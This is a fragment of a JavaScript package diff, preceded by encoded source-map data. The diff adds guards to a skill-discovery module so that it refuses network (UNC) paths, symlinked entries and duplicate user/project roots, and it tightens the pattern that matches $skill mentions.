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","names":["resolve","resolve"]}

package/dist/{chunk-67UZEWWF.js → chunk-DNFQTSMJ.js}

@@ -1,6 +1,14 @@
 import {
   parseFrontmatter
 } from "./chunk-KXAYUIKP.js";
+import {
+  isUserHome,
+  tryRealPath
+} from "./chunk-SBTU5BEC.js";
+import {
+  createUncGuard,
+  reachesUncPath
+} from "./chunk-EEX6QNXV.js";
 import {
   resolveBookHome
 } from "./chunk-ZPSZZUWF.js";
@@ -49,15 +57,28 @@ var KNOWN_FRONTMATTER_FIELDS = /* @__PURE__ */ new Set([
 function pathKey(path) {
   return process.platform === "win32" ? resolve(path).toLowerCase() : resolve(path);
 }
+function realRootPath(path) {
+  try {
+    const real = realpathSync.native(path);
+    return process.platform === "win32" ? real.toLowerCase() : real;
+  } catch {
+    return void 0;
+  }
+}
 function isInside(root, candidate) {
   const rel = relative(root, candidate);
   return rel === "" || !rel.startsWith(`..${sep}`) && rel !== ".." && !isAbsolute(rel);
 }
-function projectRootFor(workspace) {
+function projectRootFor(workspace, home, reachesUnc) {
+  if (reachesUnc(workspace)) return resolve(workspace);
   let current = resolve(workspace);
   const filesystemRoot = parse(current).root;
   while (true) {
-    if (existsSync(join(current, ".git"))) return current;
+    const dotGit = join(current, ".git");
+    if (reachesUnc(dotGit)) return resolve(workspace);
+    if (existsSync(dotGit)) {
+      return isUserHome(tryRealPath(current) ?? current, home) ? resolve(workspace) : current;
+    }
     if (current === filesystemRoot) return resolve(workspace);
     current = dirname(current);
   }
@@ -75,7 +96,7 @@ function directoriesFromRoot(root, workspace) {
   }
   return directories.reverse();
 }
-function skillRoots(workspace, options = {}) {
+function skillRoots(workspace, options = {}, reachesUnc = createUncGuard()) {
   const roots = [];
   if (options.includeUser !== false) {
     const home = options.homeDir ?? homedir();
@@ -93,7 +114,7 @@ function skillRoots(workspace, options = {}) {
       { path: join(bookHome, "skills"), source: "user", kind: "book" }
     );
   }
-  const projectRoot = options.projectRoot ?? projectRootFor(workspace);
+  const projectRoot = options.projectRoot ?? projectRootFor(workspace, options.homeDir, reachesUnc);
   for (const directory of directoriesFromRoot(projectRoot, workspace)) {
     roots.push(
       { path: join(directory, ".claude", "skills"), source: "project", kind: "claude" },
@@ -108,8 +129,23 @@ function skillRoots(workspace, options = {}) {
       { path: join(directory, ".book", "skills"), source: "project", kind: "book" }
     );
   }
+  const userRealPaths = /* @__PURE__ */ new Set();
+  for (const root of roots) {
+    if (root.source !== "user") continue;
+    const real = realRootPath(root.path);
+    if (real) userRealPaths.add(real);
+  }
   const byPath = /* @__PURE__ */ new Map();
-  for (const root of roots) byPath.set(pathKey(root.path), root);
+  for (const root of roots) {
+    const key = pathKey(root.path);
+    if (byPath.get(key)?.source === "user") continue;
+    if (root.source === "project" && reachesUnc(root.path)) continue;
+    if (root.source === "project" && userRealPaths.size > 0) {
+      const real = realRootPath(root.path);
+      if (real && userRealPaths.has(real)) continue;
+    }
+    byPath.set(key, root);
+  }
   return [...byPath.values()];
 }
 function readFrontmatterPrefix(path) {
@@ -421,7 +457,8 @@ function descriptorFromEntry(entryPath, root, directoryName, flat = false) {
     shadowed: []
   };
 }
-function skillsUnderRoot(root) {
+function skillsUnderRoot(root, reachesUnc) {
+  const refused = (path) => root.source === "project" && reachesUnc(path);
   if (!existsSync(root.path)) return [];
   let entries;
   try {
@@ -440,6 +477,7 @@ function skillsUnderRoot(root) {
     }
     let directory = info.isDirectory();
     if (info.isSymbolicLink()) {
+      if (refused(fullPath)) continue;
       try {
         directory = statSync(fullPath).isDirectory();
       } catch {
@@ -448,7 +486,7 @@ function skillsUnderRoot(root) {
     }
     if (directory) {
       const entryPath = join(fullPath, SKILL_ENTRY_FILENAME);
-      if (existsSync(entryPath) && statSync(entryPath).isFile()) {
+      if (!refused(entryPath) && existsSync(entryPath) && statSync(entryPath).isFile()) {
         skills.push(descriptorFromEntry(entryPath, root, entry));
       }
     } else if (info.isFile() && entry.endsWith(".skill.md")) {
@@ -459,8 +497,9 @@ function skillsUnderRoot(root) {
 }
 function discoverSkills(workspace, overrides = {}, options = {}) {
   const byName = /* @__PURE__ */ new Map();
-  for (const root of skillRoots(workspace, options)) {
-    for (const skill of skillsUnderRoot(root)) {
+  const reachesUnc = createUncGuard();
+  for (const root of skillRoots(workspace, options, reachesUnc)) {
+    for (const skill of skillsUnderRoot(root, reachesUnc)) {
       const previous = byName.get(skill.name);
       if (previous) {
         skill.shadowed = [
@@ -487,6 +526,9 @@ function applySkillOverrides(skills, overrides, executionOverrides = {}, enabled
 }
 function loadSkillBody(skill) {
   if (!skill.valid) throw new Error(`Skill "${skill.name}" is invalid.`);
+  if (skill.source === "project" && reachesUncPath(skill.path)) {
+    throw new Error(`Skill "${skill.name}" is on a network (UNC) path and is not loaded.`);
+  }
   const canonicalRoot = realpathSync(skill.rootPath);
   const canonicalEntry = realpathSync(skill.path);
   if (!isInside(canonicalRoot, canonicalEntry)) {
@@ -604,7 +646,7 @@ function generateSkillListing(skills, budgetChars = 8e3) {
 function explicitSkillMentions(prompt, skills) {
   const available = new Set(skills.map((skill) => skill.name));
   const mentions = [];
-  const pattern = /(?<![A-Za-z0-9_-])\$([a-z0-9]+(?:-[a-z0-9]+)*)(?![A-Za-z0-9_-])/g;
+  const pattern = /(?<![A-Za-z0-9_\-/\\@.])\$([a-z0-9]+(?:-[a-z0-9]+)*)(?![A-Za-z0-9_-])/g;
   for (const match of prompt.matchAll(pattern)) {
     const name = match[1];
     if (available.has(name) && !mentions.includes(name)) mentions.push(name);
@@ -623,4 +665,4 @@ export {
   generateSkillListing,
   explicitSkillMentions
 };
-//# sourceMappingURL=chunk-67UZEWWF.js.map
+//# sourceMappingURL=chunk-DNFQTSMJ.js.map